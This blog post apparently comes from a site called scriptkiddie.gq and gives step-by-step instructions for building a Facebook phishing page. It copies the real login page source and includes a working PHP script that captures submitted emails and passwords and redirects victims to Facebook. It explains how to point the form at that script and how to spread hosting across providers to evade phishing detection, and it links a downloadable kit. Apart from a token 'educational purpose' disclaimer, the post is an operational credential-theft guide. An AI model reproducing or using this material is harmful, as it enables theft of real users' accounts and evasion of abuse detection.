How To Create Custom Phishing Page and host it over internet| scriptkiddie.gq |

FreakyDodo
6 min readJul 14, 2021

--

Previously I have created a blog, on hacking Instagram and other social media accounts using kali linux, thanks for the support you gave it has now reached to 1.5K views keep supporting to scriptkiddie.gq will keep uploading interesting blogs thank you.

NOTE: THIS TUTORIAL IS PROVIDED FOR EDUCATIONAL PURPOSE ONLY! IF YOU ENGAGE IN ANY ILLEGAL ACTIVITY THE AUTHOR DOES NOT TAKE ANY RESPONSIBILITY FOR IT. BY READING THIS BLOG YOU AGREE WITH THESE TERMS.

Recently I have come across many guides about creating phishing pages. Although the principles behind each guide is similar, most of the hosting solutions provided in the guide does not work anymore due to an increase in the crackdown of phishing pages by the hosting companies. In this guide, I will go through every step necessary to create and host a phishing page of your choice. Enjoy!

Download the HTML Index of the Target Webpage

To start off, you need to obtain the HTML index of the page. There are various methods of doing this, there are even templates online for popular sites. In this tutorial, I am going to use the most basic way in order to be as noob-friendly as possible.

Navigate to Webpage

In this tutorial, I am going to phish Facebook.

View the Source of the Webpage.

Depending on your browser, there may be different methods. Normally it is done by right clicking the site and clicking “View Source“. I have done that on my browser and a windows should come out similar to this:

On clicking you will redirect to a new tab, which will look like a picture below.

Saving the Source Code

Select the box, and copy-paste everything in the box to a txt document. Use Notepad on windows, and a simple text editing program if you are not using windows. (Don’t use programs like Word or Pages because it is really slow). After you have done that, click “Save As” or whatever option that allows you to save that document.

Change “Save as type” to All Files and change the encoding to Unicode.
After that, name the document “index.html”
, obviously without the speech marks.

Congratulations! You have finished the first step of the tutorial!

Creating a PHP File for Password Harvesting

The PHP file is basically the tool that harvests the users password in this scenario. There are several ways you can create this PHP if you have some programming knowledge, but if you don’t, just copy my exemplar PHP.

<?php header('Location: http://m.facebook.com');
$handle = fopen("wikibn.txt", "a");
foreach ($_POST as $variable => $value) {
if ($variable == "email" || $variable == "pass") {
fwrite($handle, $variable);
fwrite($handle, "= ");
fwrite($handle, $value);
fwrite($handle, "
");
}
}
fwrite($handle, "
");
fclose($handle);
exit;
?>

Same as above, save the PHP file as “All Files” and as “login.php“. Change the encoding to Unicode and you should be ready to go!

Modify the Page HTML File to Incorporate Your PHP File in It.

Now, we need to incorporate our PHP file, to receive passwords that the users send.

Find the Password-Sending Method

First, you need to see how the website deals when the user submits a username-password.
For Facebook, all you need to do is to Ctrl-F and type “=action” in the field.https://cd39cd712101fa196ecef9590d1303c4.safeframe.googlesyndication.com/safeframe/1-0-37/html/container.html

Now, you need to replace everything in the underlined portion with “login.php“, keep the speech marks. (just one set please).

Obviously, this method will be different for other websites. A good method to find it is by using Inspect Elements tool in most modern browsers and clicking on the login button. Find something similar to the above method.

Hosting the PHP File for Password Storing

Now here is the juicy part, making your fake website online so other people can browse it.

You can use any free hosting services to host and store passwords. However, the hosting plan has to include something called “FTP”. For this tutorial, I will be using 000webhost.

Navigate to the FTP Server for Your Web Hosting Service

For this step, I assume that you have already created a website with your hosting service.https://cd39cd712101fa196ecef9590d1303c4.safeframe.googlesyndication.com/safeframe/1-0-37/html/container.html

For 000webhost, you simply click on “File manager” and click “Upload Files”. Here is a picture of the FTP server for 000webhost:

Ignore the other files, those are just some of my personal stuff, unrelated to this tutorial.

Upload Your PHP Files and Change Permission

As you can see, I have already uploaded my PHP file. But you need to just upload it to the main folder of your FTP server. (Some FTP server doesn’t allow you to upload to the root folder, just follow their particular instructions).

Now you need to change the permission to “777”, which is basically every single permission. When prompted to tick boxes for the permissions, just tick every single one.

Now you can close the FTP server. Note down your web address!

Hosting the Actual Phishing Page

For this step, you will need to use the exact hosting provider that I use, otherwise you will get banned.https://cd39cd712101fa196ecef9590d1303c4.safeframe.googlesyndication.com/safeframe/1-0-37/html/container.html

There is a reason why I don’t use the same hosting provider for my actual page, and that is because most hosting providers will employ some kind of scanning to detect phishing pages. I can tried multiple hosting services in the past and all of them banned me within 30 mins of uploading the index file.

Configuring the login.php Forum

Now, before you host the website, remember the login.php/login form thing we configured above?

You need to find the login form thing again in your index.html and replace the “login.php” with “http://yourwebsiteforyourpostphpupload/login.php”, assuming that you uploaded to the root folder. Remember to add http:// in front of the site. In order to test this, navigate to the website (http://yourwebsiteforyourpostphpupload/login.php) and see if it redirects you to Facebook.com, if it does then you have pasted the correct site. If it doesn’t, then double check if you have uploaded your file to the correct directory.

Hosting the Actual Page

Navigate to htmlpasta.com. You will see something similar to this:

Then, you need to copy the index.html file for your phishing site and paste it in here.

Now, click on the reCAPTCHA and click paste, you will get a link for your website.

Congratulations!

Congrats! You have finished hosting your first phishing site! Navigate to your site and try to enter some fake login details, after you click the login button, it should redirect you to facebook.com. Login to your FTP server that you hosted your login.php file, and there should be a new document called Log.txt that is stored within the same folder as your login.php file. Any login details should be stored there.

Remember, do not use this for malicious purpose, only use for penetration testing and with authorization from your victims.

Note: If you don't want to follow all the above sets or find it confusing here's is the files you can simply download it and upload it on 000webhost.

https://drive.google.com/file/d/1EXxyilAj6OzmFVemhx3-NvMzVyeG8N-Y/view

Extract the above file and follow the steps given in below video from 4:40 after you create you account in 000webhost.

If you have any question then please comment down below.

Keep Coming for More.

Happy Hacking!!!

--

--

FreakyDodo

Hey Hackers !! I am Harshit Dodia aka Freaky Dodo , I am a student of Information Technology and Ethical hacking.